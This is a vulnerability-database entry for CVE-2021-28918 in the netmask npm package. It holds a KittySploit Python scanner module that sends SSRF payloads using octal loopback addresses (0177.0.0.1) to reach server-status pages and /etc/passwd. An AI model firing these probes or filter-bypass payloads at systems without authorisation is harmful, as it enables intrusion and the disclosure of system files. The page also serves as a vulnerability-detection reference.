Netmask NPM Package - Server-Side Request Forgery Detection
| Reporter | Title | Published | Views | Family All 37 |
|---|---|---|---|---|
| Security Bulletin: A security vulnerability in Node.js netmask module affects IBM Cloud Automation Manager | 19 May 202117:16 | – | ibm | |
| Security Bulletin: IBM Cognos Analytics has addressed multiple vulnerabilities | 15 Jul 202516:38 | – | ibm | |
| Security Bulletin: A security vulnerability in Node.js netmask module affects IBM Cloud Pak for Multicloud Management Managed Service | 19 May 202117:05 | – | ibm | |
| CVE-2021-28918 | 1 Apr 202113:15 | – | attackerkb | |
| CVE-2021-28918 | 28 Mar 202120:39 | – | circl | |
| Npm netmask 代码问题漏洞 | 30 Mar 202100:00 | – | cnnvd | |
| nodejs input validation error vulnerability | 6 Apr 202100:00 | – | cnvd | |
| CVE-2021-28918 | 1 Apr 202112:33 | – | cve | |
| CVE-2021-28918 | 1 Apr 202112:33 | – | cvelist | |
| EUVD-2021-0690 | 7 Oct 202500:30 | – | euvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octa."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Netmask NPM Package - Server-Side Request Forgery Detection',
'description': 'Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'npm', 'netmask', 'ssrf', 'lfi', 'netmask_project', 'node.js', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md',
'https://github.com/advisories/GHSA-pch5-whg9-qr2r',
'https://nvd.nist.gov/vuln/detail/CVE-2021-28918',
'https://github.com/rs/node-netmask',
'https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/',
],
'cve': 'CVE-2021-28918',
}
def run(self):
for path in ('/?url=http://0177.0.0.1/server-status', '/?host=http://0177.0.0.1/server-status', '/?file=http://0177.0.0.1/etc/passwd'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_all = ('Apache Server Status', 'Server Version',)
body_regexes = ('root:.*:0:0:',)
if (all(m in body for m in body_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='critical',
reason="Netmask NPM Package - Server-Side Request Forgery detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 26.4
CVSS 3.19.1
EPSS0.16657